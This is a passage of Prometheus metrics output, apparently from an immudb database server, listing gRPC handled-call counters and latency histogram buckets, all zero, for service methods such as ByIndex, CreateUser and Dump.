0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\n# HELP grpc_server_handling_seconds Histogram of response latency (seconds) of gRPC that had been application-level handled by the server.\n# TYPE grpc_server_handling_seconds histogram\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.25\"} 